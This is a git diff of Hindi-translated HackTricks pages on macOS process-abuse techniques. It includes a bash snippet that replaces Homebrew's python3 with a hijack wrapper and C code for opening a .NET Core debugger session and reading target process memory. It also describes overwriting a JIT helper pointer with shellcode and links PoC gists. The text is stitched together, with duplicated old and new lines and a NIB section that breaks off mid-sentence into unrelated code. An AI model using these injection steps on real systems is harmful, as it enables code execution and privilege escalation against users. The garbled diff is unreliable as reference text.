<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS क नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह देखें
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS क नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह खोजें
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** **अनुसरण** करें।**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपना योगदान दें।**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**.
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपने हैकिंग ट्रिक्स साझा करें।**
</details>
## MacOS प्रक्रिया दुरुपयोग
MacOS, किसी भी अन्य ऑपरेटिंग सिस्टम की तरह, **प्रक्रियाओं को इंटरैक्ट, संचार और डेटा साझा करने** के लिए विभिन्न तकनीकों और यंत्रों की प्रदान करता है। यद्यपि ये तकनीक दक्ष सिस्टम कार्य के लिए आवश्यक हैं, लेकिन इनका दुरुपयोग भी किया जा सकता है ताकि आपत्तिजनक गतिविधियों को **क्रियान्वित** किया जा सके
MacOS, किसी भी अन्य ऑपरेटिंग सिस्टम की तरह, **प्रक्रियाओं को इंटरैक्ट, संचार और डेटा साझा करने** के लिए विभिन्न तकनीकों और यंत्रों की प्रदान करता है। ये तकनीक दक्ष प्रणाली के सही कार्य के लिए आवश्यक होती हैं, लेकिन इनका दुरुपयोग भी खतरनाक गतिविधियों को करने के लिए थ्रेट एक्टर्स द्वारा किया जा सकता है
### लाइब्रेरी इंजेक्शन
लाइब्रेरी इंजेक्शन एक तकनीक है जिसमें एक हमलावर **प्रक्रिया को एक आपत्तिजनक लाइब्रेरी लोड करने के लिए मजबूर किया जाता है**। एक बार इंजेक्शन हो जाने पर, लाइब्रेरी लक्ष्य प्रक्रिया के संदर्भ में चलती है, जिससे हमलावर को प्रक्रिया के साथी अनुमतियों और पहुंच की प्राप्ति होती है।
लाइब्रेरी इंजेक्शन एक तकनीक है जिसमें एक हमलावर्धक **प्रक्रिया को एक खतरनाक लाइब्रेरी लोड करने के लिए मजबूर किया जाता है**। इंजेक्शन के बाद, लाइब्रेरी लक्ष्य प्रक्रिया के संदर्भ में चलती है, हमलावर्धक को प्रक्रिया के साथ एक ही अनुमतियों और पहुंच की प्रदान करती है।
{% content-ref url="macos-library-injection/" %}
[macos-library-injection](macos-library-injection/)
@ -26,7 +26,7 @@ MacOS, किसी भी अन्य ऑपरेटिंग सिस्ट
### फंक्शन हुकिंग
फंक्शन हुकिंग में, सॉफ्टवेयर कोड के भीतर **फंक्शन कॉल** या **संदेशों को अवरोधित करना** शामिल होता है। फंक्शन हुकिंग के द्वारा, एक हमलावर प्रक्रिया के व्यवहार को **संशोधित** कर सकता है, संवेदनशील डेटा का अवलोकन कर सकता है, या यहां तक कि क्रियान्वयन धारण कर सकता है।
फंक्शन हुकिंग में, सॉफ्टवेयर कोड के भीतर **फंक्शन कॉल** या **संदेशों को अवरोधित करना** शामिल होता है। फंक्शन हुकिंग के द्वारा, एक हमलावर्धक प्रक्रिया का व्यवहार **संशोधित** कर सकता है, संवेदनशील डेटा का अवलोकन कर सकता है, या नियंत्रण प्राप्त कर सकता है।
{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
@ -34,7 +34,7 @@ MacOS, किसी भी अन्य ऑपरेटिंग सिस्ट
### इंटर प्रक्रिया संचार
इंटर प्रक्रिया संचार (IPC) अलग-अलग तकनीकों को संदर्भित करता है, जिनसे अलग-अलग प्रक्रियाएं **डेटा साझा और आपस में विनिमय करती हैं**। IPC बहुत सारे वैध अनुप्रयोगों के लिए मूल्यांकन है, लेकिन इसका दुरुपयोग भी किया जा सकता है ताकि प्रक्रिया अलगाव को उल्लंघन कर सके, संवेदनशील जानकारी छिड़काव कर सके, या अनधिकृत कार्रवाई कर के।
इंटर प्रक्रिया संचार (IPC) अलग-अलग तकनीकों को संदर्भित करता है जिनसे अलग-अलग प्रक्रियाएं **डेटा साझा और आपस में विनिमय करती हैं**। IPC बहुत सारे वैधानिक अनुप्रयोगों के लिए मूल्यांकन है, लेकिन इसका दुरुपयोग प्रक्रिया अलगाव को अवरुद्ध करने, संवेदनशील जानकारी लीक करने या अनधिकृत कार्रवाई करने के लिए किया जा सकता है
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
@ -42,7 +42,7 @@ MacOS, किसी भी अन्य ऑपरेटिंग सिस्ट
### इलेक्ट्रॉन एप्लिकेशन इंजेक्शन
निश्चित env variables के साथ निष्पादित इलेक्ट्रॉन एप्लिकेशन प्रक्रिया इंजेक्शन के प्रति संवेदनशील हो सकती हैं:
निश्चित env variables के साथ निष्पादित इलेक्ट्रॉन एप्लिकेशन प्रक्रिया इंजेक्शन के लिए संकटग्रस्त हो सकते हैं:
{% content-ref url="macos-electron-applications-injection.md" %}
[macos-electron-applications-injection.md](macos-electron-applications-injection.md)
@ -50,12 +50,35 @@ MacOS, किसी भी अन्य ऑपरेटिंग सिस्ट
### गंदी NIB
NIB फ़ाइलें **उपयोगकर्ता इंटरफ़ेस (UI) तत्वों** को परिभाषित करती हैं और उनके अन्तर्घटनों को विवरणित कर
NIB फ़ाइलें **उपयोगकर्ता इंटरफ़ेस (UI) तत्वों** को परिभाषित करती हैं और एक एप्लिकेशन के भीतर उनके संवेदनशीलता के साथ इंटरैक्शन करती हैं। हालांकि, वे **अनियंत्रित आदेशों को निष्पादित कर सकते
```bash
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
cat > /opt/homebrew/bin/python3 <<EOF
#!/bin/bash
# Extra hijack code
/opt/homebrew/bin/python3.old "$@"
EOF
chmod +x /opt/homebrew/bin/python3
```
यह कोड चलाने पर **रूट** भी इस कोड को चलाएगा।
{% endhint %}
## पता लगाना
### Shield
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) एक ओपन सोर्स एप्लिकेशन है जो **प्रक्रिया इंजेक्शन की पहचान और रोकथाम** कर सकता है:
* **पर्यावरणीय चरों** का उपयोग करके: यह निम्नलिखित पर्यावरणीय चरों **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** और **`ELECTRON_RUN_AS_NODE`** की मौजूदगी का मॉनिटरिंग करेगा।
* **`task_for_pid`** कॉल का उपयोग करके: जब एक प्रक्रिया दूसरी प्रक्रिया में कोड इंजेक्शन करने की इच्छा रखती है, तो यह उस दूसरी प्रक्रिया के टास्क पोर्ट प्राप्त करने की पहचान करेगा।
* **Electron ऐप्स पैरामीटर**: कोई व्यक्ति इलेक्ट्रॉन ऐप को डिबगिंग मोड में शुरू करने के लिए **`--inspect`**, **`--inspect-brk`** और **`--remote-debugging-port`** कमांड लाइन तर्क का उपयोग कर सकता है, और इसलिए इसमें कोड इंजेक्शन कर सकता है।
* **सिमलिंक्स** या **हार्डलिंक्स** का उपयोग करके: सामान्यतः सबसे सामान्य दुरुपयोग यह है कि हम **अपने उपयोगकर्ता विशेषाधिकारों** के साथ एक लिंक रखते हैं, और उच्चतर विशेषाधिकार स्थान की ओर इसे पॉइंट करते हैं। हार्डलिंक और सिमलिंक्स के लिए पहचानना बहुत सरल है। यदि लिंक बनाने वाली प्रक्रिया का **विशेषाधिकार स्तर** लक्ष्य फ़ाइल से अलग होता है, तो हम एक **चेतावनी** बनाते हैं। दुर्भाग्य से सिमलिंक्स ब्लॉक करना संभव नहीं है, क्योंकि हमें लिंक के गंतव्य के बारे में जानकारी पहले से ही नहीं होती है। यह Apple के EndpointSecuriy framework की एक सीमा है।
### अन्य प्रक्रियाओं द्वारा किए गए कॉल
[**इस ब्लॉग पोस्ट**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) में आप देख सकते हैं कि कैसे फ़ंक्शन **`task_name_for_pid`** का उपयोग करके एक प्रक्रिया में कोड इंजेक्शन करने वाली अन्य **प्रक्रियाओं के बारे में जानकारी प्राप्त** की जा सकती है और फिर उस अन्य प्रक्रिया के बारे में जानकारी प्राप्त की जा सकती है।
ध्यान दें कि इस फ़ंक्शन को कॉल करने के लिए आपको प्रक्रिया चलाने वाले उसी uid के रूप में होना चाहिए या **रूट** होना चाहिए (और यह प्रक्रिया के बारे में जानकारी देता है, कोड इंजेक्शन करने का एक तरीका नहीं है)।
ध्यान दें कि स फ़ंक्शन को कॉल करने के लिए आपको प्रक्रिया चलाने वाले व्यक्ति के **एक ही uid** होना चाहिए या **रूट** होना चाहिए (और यह कोड इंजेक्शन का एक तरीका नहीं है, बल्कि इससे प्रक्रिया के बारे में जानकारी प्राप्त होती है)।
## संदर्भ
@ -66,10 +89,10 @@ NIB फ़ाइलें **उपयोगकर्ता इंटरफ़े
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस** चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PR जमा करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में जमा करके**
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं** या HackTricks को **PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **[💬](https://emojipedia.org/speech-balloon/) Discord समूह** या **[telegram समूह](https://t.me/peass)** में शामिल हों या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में।**
</details>

View file

@ -8,7 +8,7 @@
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**
</details>
@ -21,11 +21,11 @@
तो, यदि आप उपयोगकर्ताओं के **`$TMPDIR`** में जाते हैं, तो आप .Net एप्लिकेशनों को डिबग करने के लिए उपयोग कर सकते हैं **डिबगिंग फाइफो** को खोज सकते हैं:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) फ़ंक्शन एक डिबगर से कम्युनिकेशन को संभालेगा।
फ़ंक्शन [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) एक डिबगर से कम्युनिकेशन को संभालेगा।
एक डिबगर को करने के लिए पहली चीज है **एक न डिबगिंग सत्र बनाना**। इसे **`out` पाइप** के माध्यम से एक संदेश भेजकर किया जाता है जिसमें एक `MessageHeader` संरचना की शुरुआत होती है, जिसे हम .NET स्रोत से प्राप्त कर सकते हैं:
एक डिबगर को करने के लिए पहली चीज है **एक नया डिबगिंग सत्र बनाना**। इसे **`out` पाइप** के माध्यम से एक संदेश भेजकर किया जाता है जिसमें एक `MessageHeader` संरचना की शुरुआत होती है, जिसे हम .NET स्रोत से प्राप्त कर सकते हैं:
```c
struct MessageHeader
{
@ -47,7 +47,7 @@ DWORD m_dwMinorVersion;
BYTE m_sMustBeZero[8];
}
```
क नई सत्र अनुरोध के मामले में, यह संरचना निम्नलिखित रूप में पूर्ण की जाती है:
ए सत्र अनुरोध के मामले में, यह संरचना निम्नलिखित रूप में पूर्ण होती है:
```c
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
@ -62,11 +62,11 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion
// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
```
एक बार निर्मित करने के बाद, हम `write` सिस्टम कॉल का उपयोग करके इसे लक्ष्य को भेजते हैं:
एक बार निर्मित करने के बाद, हम `write` सिस्टम कॉल का उपयोग करके इसे लक्ष्य पर भेजते हैं:
```c
write(wr, &sSendHeader, sizeof(MessageHeader));
```
अपने हेडर के बाद, हमें `sessionRequestData` संरचना को भेजने की आवश्यकता होती है, जिसमें हमारी सत्र की पहचान के लिए एक GUID होता है:
हमारे हैडर के बाद, हमें एक `sessionRequestData` संरचना भेजनी होगी, जिसमें हमारी सत्र की पहचान के लिए एक GUID होता है:
```c
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
@ -74,13 +74,13 @@ memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));
```
हमारा सत्र अनुरोध भेजने के बाद, हम **`out` पाइप से एक हैडर पढ़ते हैं** जो यह दिखाएगा कि क्या हमारा डीबगर सत्र स्थापित करने का अनुरोध **सफल** हुआ है या नहीं:
हमारे सत्र अनुरोध को भेजने के बाद, हम **`out` पाइप से एक हैडर पढ़ते हैं** जो यह दिखाएगा कि क्या हमारा डीबगर सत्र स्थापित करने का अनुरोध **सफल** हुआ है या नहीं:
```c
read(rd, &sReceiveHeader, sizeof(MessageHeader));
```
### मेमोरी पढ़ें
डीबगिंग सत्र स्थापित करके [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) संदेश प्रकार का उपयोग करके मेमोरी को **पढ़ना** संभव है। कुछ मेमोरी पढ़ने के लिए मुख्य कोड आवश्यक होगा:
डीबगिंग सत्र स्थापित करके [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) संदेश प्रकार का उपयोग करके मेमोरी पढ़ना संभव है। कुछ मेमोरी पढ़ने के लिए मुख्य कोड आवश्यक होगा:
```c
bool readMemory(void *addr, int len, unsigned char **output) {
@ -160,7 +160,7 @@ return true;
}
```
इसे करने के लिए इस्तेमाल किए जाने वाले POC कोड यहां मिल सकता है [यहां](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)
इसके लिए इस्तेमाल किए जाने वाले POC कोड यहां मिल सकता है [यहां](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
### .NET कोर कोड निष्पादन <a href="#net-core-code-execution" id="net-core-code-execution"></a>
@ -169,15 +169,15 @@ return true;
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
```
तो निष्पादन को ट्रिगर करने के लिए यह आवश्यक होगा कि कुछ ऐसी जगह का पता चले जहां एक फंक्शन पॉइंटर संग्रहीत है और उसे ओवरराइट किया जा सके। **डायनेमिक फंक्शन टेबल (DFT)** के भीतर एक पॉइंटर को ओवरराइट करना संभव है, जिसे .NET कोर रनटाइम द्वारा जिट संकलन के लिए सहायक फंक्शन प्रदान करने के लिए उपयोग किया जाता है। समर्थित फंक्शन पॉइंटरों की सूची [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) में मिल सकती है।
तो निष्पादन को ट्रिगर करने के लिए यह जानना आवश्यक होगा कि किसी स्थान को जानने की आवश्यकता होती है जहां एक फंक्शन पॉइंटर संग्रहीत किया जाता है और इसे ओवरराइट किया जाता है। **डायनामिक फंक्शन टेबल (DFT)** के भीतर एक पॉइंटर को ओवरराइट करना संभव है, जिसे .NET कोर रनटाइम द्वारा जिट संकलन के लिए सहायक फंक्शन प्रदान करने के लिए उपयोग किया जाता है। समर्थित फंक्शन पॉइंटरों की सूची [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) में मिल सकती है।
x64 संस्करणों में, इसे **सिग्नेचर हंटिंग** तकनीक का उपयोग करके **`libcorclr.dll`** में **`_hlpDynamicFuncTable`** प्रतीक के संदर्भ के लिए खोजने के लिए सीधा है। जिसे हम डिरेफरेंस कर सकते हैं:
x64 संस्करणों में, इसे **मिमीकैट्ज़-जैसी हस्ताक्षर खोज** तकनीक का उपयोग करके **`libcorclr.dll`** में प्रतीक **`_hlpDynamicFuncTable`** के संदर्भ के लिए खोजना सीधा है, जिसे हम डेरेफ़ेर कर सकते हैं:
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
इसके बाद करने के लिए बचा है कि हमें अपनी सिग्नेचर खोज के लिए एक पते का पता लगाना है। इसके लिए, हम एक अन्य प्रकट डीबगर फंक्शन, **`MT_GetDCB`** का उपयोग करते हैं। यह लक्षित प्रक्रिया पर उपयोगी जानकारी कई बिट्स वापस करता है, लेकिन हमारे मामले में, हमें एक मददकर्ता फंक्शन के पते, **`m_helperRemoteStartAddr`** को संबंधित फील्ड में रिटर्न किए जाने वाले एक क्षेत्र में रुचि है। इस पते का उपयोग करके, हम जानते हैं कि लक्षित प्रक्रिया मेमोरी में **`libcorclr.dll` कहां स्थित है** और हम DFT की खोज शुरू कर सकते हैं।
इसके बाद करने के लिए बचा है कि हमें अपनी हस्ताक्षर खोज की शुरुआत करने के लिए किसी पते का पता लगाना होगा। इसके लिए, हम एक अन्य प्रकट डीबगर फंक्शन, **`MT_GetDCB`** का उपयोग करते हैं। यह लक्षित प्रक्रिया पर उपयोगी जानकारी के कई बिट्स वापस करता है, लेकिन हमारे मामले में, हमें एक हेल्पर फंक्शन के पते, **`m_helperRemoteStartAddr`** को संबंधित फ़ील्ड के रूप में वापस मिलने में रुचि है। इस पते का उपयोग करके, हम जानते हैं कि लक्षित प्रक्रिया मेमोरी में **`libcorclr.dll` कहां स्थित है** और हम DFT की खोज शुरू कर सकते हैं।
इस पते को जानने के बाद हम अपने शलकोड के साथ फंक्शन पॉइंटर को ओवरराइट कर सकते हैं।
इस पते को जानने के बाद हम अपने शलकोड के साथ फंक्शन पॉइंटर को ओवरराइट कर सकते हैं।
PowerShell में इंजेक्शन करने के लिए उपयोग किए गए पूर्ण POC कोड [यहां](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6) मिल सकता है।
@ -189,10 +189,10 @@ PowerShell में इंजेक्शन करने के लिए उ
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं** या HackTricks को **PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**
</details>

View file

@ -4,15 +4,15 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने का उपयोग करना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com)
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **फॉलो** करें मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को।**
</details>
MIG को **Mach IPC** कोड निर्माण की प्रक्रिया को सरल बनाने के लिए बनाया गया था। यह मूल रूप से एक विनिर्देशित परिभाषा के साथ सर्वर और क्लाइंट के बीच संवाद के लिए आवश्यक कोड उत्पन्न करता है। यद्यपि उत्पन्न कोड बदसूरत होता है, एक डेवलपर को इसे आयात करना होगा और उसका कोड पहले की तुलना में बहुत सरल होगा।
MIG को **Mach IPC** कोड निर्माण की प्रक्रिया को सरल बनाने के लिए बनाया गया था। यह मूल रूप से एक विनिर्देशिा के साथ सर्वर और क्लाइंट के बीच संवाद के लिए आवश्यक कोड उत्पन्न करता है। यद्यपि उत्पन्न कोड बदसूरत होता है, एक डेवलपर को इसे आयात करना होगा और उसका कोड पहले की तुलना में बहुत सरल होगा।
### उदाहरण
@ -35,13 +35,13 @@ n2 : uint32_t);
```
{% endcode %}
